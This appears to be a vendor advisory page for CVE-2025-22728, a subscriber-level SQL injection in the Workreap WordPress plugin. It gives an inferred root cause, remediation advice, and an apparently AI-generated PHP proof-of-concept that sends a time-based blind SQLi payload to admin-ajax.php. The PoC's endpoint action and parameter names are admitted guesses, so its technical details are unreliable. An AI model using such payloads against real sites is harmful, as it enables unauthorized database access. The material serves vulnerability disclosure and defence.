Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-22728: Workreap (theme’s plugin) <= 3.3.6 – Authenticated (Subscriber+) SQL Injection (workreap)

Plugin workreap
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.3.6
Patched Version
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-22728 (metadata-based):
This vulnerability is an authenticated SQL injection in the Workreap theme’s plugin for WordPress, affecting versions up to and including 3.3.6. The flaw allows authenticated users with subscriber-level privileges or higher to inject malicious SQL commands, potentially leading to sensitive database information disclosure. The CVSS score of 6.5 (Medium severity) reflects the network accessibility, low attack complexity, and high confidentiality impact.

Atomic Edge research infers the root cause from the CWE-89 classification and description. The vulnerability stems from insufficient escaping of user-supplied parameters and a lack of prepared SQL statements within a plugin function. This likely occurs in a function handling user input via an AJAX handler or a REST API endpoint, where raw user input is concatenated directly into an SQL query using the `$wpdb` class without proper use of `prepare()`, `esc_sql()`, or parameterized queries. These conclusions are inferred from the CWE and standard WordPress patterns, not confirmed via source code.

Exploitation requires an attacker to possess a valid subscriber-level WordPress account. The attacker would send a crafted HTTP POST request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`). The request must include the specific `action` parameter corresponding to the vulnerable Workreap function, along with a malicious parameter containing SQL injection payloads like time-based blind SQLi commands (e.g., `’ OR SLEEP(5)– -`). The plugin slug suggests the AJAX action likely follows a pattern such as `workreap_*` or `wt_*`.

Remediation requires modifying the vulnerable code to use WordPress’s built-in SQL escaping and preparation functions. Developers must replace any direct variable interpolation in SQL queries with calls to `$wpdb->prepare()`, ensuring all user input is properly parameterized. Additionally, implementing strict capability checks for the affected function could limit exposure, though the vulnerability already requires authentication. These measures are standard for addressing CWE-89 in WordPress contexts.

The primary impact of this vulnerability is unauthorized access to sensitive information stored in the WordPress database. Successful exploitation allows an attacker to extract data from any database table accessible by the WordPress installation, including user credentials (hashed passwords), personal identifiable information, private posts, and plugin-specific data. While the CVSS vector indicates no direct impact on integrity or availability, extracted data could facilitate further attacks like credential stuffing or privilege escalation.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-22728 - Workreap (theme's plugin) <= 3.3.6 - Authenticated (Subscriber+) SQL Injection
<?php
/**
 * Proof of Concept for CVE-2025-22728.
 * This script demonstrates a time-based blind SQL injection attack against the vulnerable Workreap plugin.
 * ASSUMPTIONS: The vulnerable endpoint is a WordPress AJAX handler. The action parameter is inferred from the plugin slug.
 * The specific vulnerable parameter name is unknown and represented as 'vuln_param'.
 * A valid subscriber-level WordPress account is required (cookies must be provided).
 */

$target_url = 'https://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$cookies = 'wordpress_logged_in_abc=...'; // CHANGE THIS: Provide valid authenticated session cookies

// Inferred AJAX action based on plugin slug pattern. This is an educated guess.
$ajax_action = 'workreap_vulnerable_action';

// Parameter name is unknown; using a placeholder.
$vuln_param_name = 'vuln_param';

// Time-based blind SQL injection payload to test for vulnerability.
// This payload attempts to trigger a 5-second delay if injection is successful.
$payload = "' OR (SELECT 1 FROM (SELECT SLEEP(5))a)-- -";

// Prepare POST data
$post_data = array(
    'action' => $ajax_action,
    $vuln_param_name => $payload
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // Increase timeout to detect sleep

// Measure response time
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
curl_close($ch);

// Analyze result
if ($elapsed >= 5) {
    echo "[+] Potential SQL Injection successful. Response delayed by " . round($elapsed, 2) . " seconds.n";
    echo "[+] Response snippet: " . substr($response, 0, 200) . "n";
} else {
    echo "[-] No time delay detected (" . round($elapsed, 2) . "s). Injection may have failed.n";
    echo "[-] Possible reasons: Incorrect action/parameter name, patched version, or payload filtered.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School